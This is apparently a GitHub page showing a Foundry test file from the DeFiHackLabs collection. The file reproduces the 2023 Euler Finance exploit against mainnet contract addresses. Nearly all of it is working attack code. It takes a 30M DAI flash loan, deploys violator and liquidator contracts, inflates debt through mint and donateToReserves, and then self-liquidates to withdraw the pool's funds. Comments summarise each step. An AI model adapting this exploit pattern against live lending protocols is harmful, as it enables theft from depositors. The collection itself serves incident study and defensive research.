forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Euler_exp.sol
147 lines (131 loc) · 5.98 KB
/
Euler_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @Analysis
// https://twitter.com/FrankResearcher/status/1635241475989721089
// https://twitter.com/nomorebear/status/1635230621856600064
// https://twitter.com/peckshield/status/1635229594596036608
// https://twitter.com/BlockSecTeam/status/1635262150624305153
// https://twitter.com/SlowMist_Team/status/1635288963580825606
// @TX
// https://etherscan.io/tx/0xc310a0affe2169d1f6feec1c63dbc7f7c62a887fa48795d327d4d2da2d6b111d
// @Summary
// 1) Flash loan tokens from Balancer/Aave v2 => 30M DAI
// 2) Deploy two contracts: violator and liquidator
// 3) Deposit 2/3 of funds to Euler using deposit() => sent 20M DAI to Euler and received 19.5M eDAI from Euler
// 4) Borrow 10x of deposited amount using mint() => received 195.6M eDAI and 200M dDAI from Euler
// 5) Repay part of debt using the remaining 1/3 of funds using repay() => sent 10M DAI and burned 10M dDAI
// 6) Repeat 4th step => received 195.6M eDAI and 200M dDAI from Euler
// 7) Donate 10x of repaid funds using donateToReserves() => sent 100M eDAI to Euler
// 8) Liquidate a violator’s account using liquidate() because eDAI < dDAI => received 310M eDAI and 259M dDAI of debt from the violator
// 9) Withdraw all token amount from Euler using withdraw() => withdrew 38.9M DAI from Euler
// 10) Repay flash loans
interface EToken {
function deposit(uint256 subAccountId, uint256 amount) external;
function mint(uint256 subAccountId, uint256 amount) external;
function donateToReserves(uint256 subAccountId, uint256 amount) external;
function withdraw(uint256 subAccountId, uint256 amount) external;
}
interface DToken {
function repay(uint256 subAccountId, uint256 amount) external;
}
interface IEuler {
struct LiquidationOpportunity {
uint256 repay;
uint256 yield;
uint256 healthScore;
uint256 baseDiscount;
uint256 discount;
uint256 conversionRate;
}
function liquidate(
address violator,
address underlying,
address collateral,
uint256 repay,
uint256 minYield
) external;
function checkLiquidation(
address liquidator,
address violator,
address underlying,
address collateral
) external returns (LiquidationOpportunity memory liqOpp);
}
contract ContractTest is Test {
IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
EToken eDAI = EToken(0xe025E3ca2bE02316033184551D4d3Aa22024D9DC);
DToken dDAI = DToken(0x6085Bc95F506c326DCBCD7A6dd6c79FBc18d4686);
IEuler Euler = IEuler(0xf43ce1d09050BAfd6980dD43Cde2aB9F18C85b34);
IAaveFlashloan AaveV2 = IAaveFlashloan(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);
address Euler_Protocol = 0x27182842E098f60e3D576794A5bFFb0777E025d3;
Iviolator violator;
Iliquidator liquidator;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("mainnet", 16_817_995);
cheats.label(address(DAI), "DAI");
cheats.label(address(eDAI), "eDAI");
cheats.label(address(dDAI), "dDAI");
cheats.label(address(Euler), "Euler");
cheats.label(address(AaveV2), "AaveV2");
}
function testExploit() public {
uint256 aaveFlashLoanAmount = 30_000_000 * 1e18;
address[] memory assets = new address[](1);
assets[0] = address(DAI);
uint256[] memory amounts = new uint256[](1);
amounts[0] = aaveFlashLoanAmount;
uint256[] memory modes = new uint[](1);
modes[0] = 0;
bytes memory params =
abi.encode(30_000_000, 200_000_000, 100_000_000, 44_000_000, address(DAI), address(eDAI), address(dDAI));
AaveV2.flashLoan(address(this), assets, amounts, modes, address(this), params, 0);
emit log_named_decimal_uint("Attacker DAI balance after exploit", DAI.balanceOf(address(this)), DAI.decimals());
}
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initator,
bytes calldata params
) external returns (bool) {
DAI.approve(address(AaveV2), type(uint256).max);
violator = new Iviolator();
liquidator = new Iliquidator();
DAI.transfer(address(violator), DAI.balanceOf(address(this)));
violator.violator();
liquidator.liquidate(address(liquidator), address(violator));
return true;
}
}
contract Iviolator {
IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
EToken eDAI = EToken(0xe025E3ca2bE02316033184551D4d3Aa22024D9DC);
DToken dDAI = DToken(0x6085Bc95F506c326DCBCD7A6dd6c79FBc18d4686);
IEuler Euler = IEuler(0xf43ce1d09050BAfd6980dD43Cde2aB9F18C85b34);
address Euler_Protocol = 0x27182842E098f60e3D576794A5bFFb0777E025d3;
function violator() external {
DAI.approve(Euler_Protocol, type(uint256).max);
eDAI.deposit(0, 20_000_000 * 1e18);
eDAI.mint(0, 200_000_000 * 1e18);
dDAI.repay(0, 10_000_000 * 1e18);
eDAI.mint(0, 200_000_000 * 1e18);
eDAI.donateToReserves(0, 100_000_000 * 1e18);
}
}
contract Iliquidator {
IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
EToken eDAI = EToken(0xe025E3ca2bE02316033184551D4d3Aa22024D9DC);
DToken dDAI = DToken(0x6085Bc95F506c326DCBCD7A6dd6c79FBc18d4686);
IEuler Euler = IEuler(0xf43ce1d09050BAfd6980dD43Cde2aB9F18C85b34);
address Euler_Protocol = 0x27182842E098f60e3D576794A5bFFb0777E025d3;
function liquidate(address liquidator, address violator) external {
IEuler.LiquidationOpportunity memory returnData =
Euler.checkLiquidation(liquidator, violator, address(DAI), address(DAI));
Euler.liquidate(violator, address(DAI), address(DAI), returnData.repay, returnData.yield);
eDAI.withdraw(0, DAI.balanceOf(Euler_Protocol));
DAI.transfer(msg.sender, DAI.balanceOf(address(this)));
}
}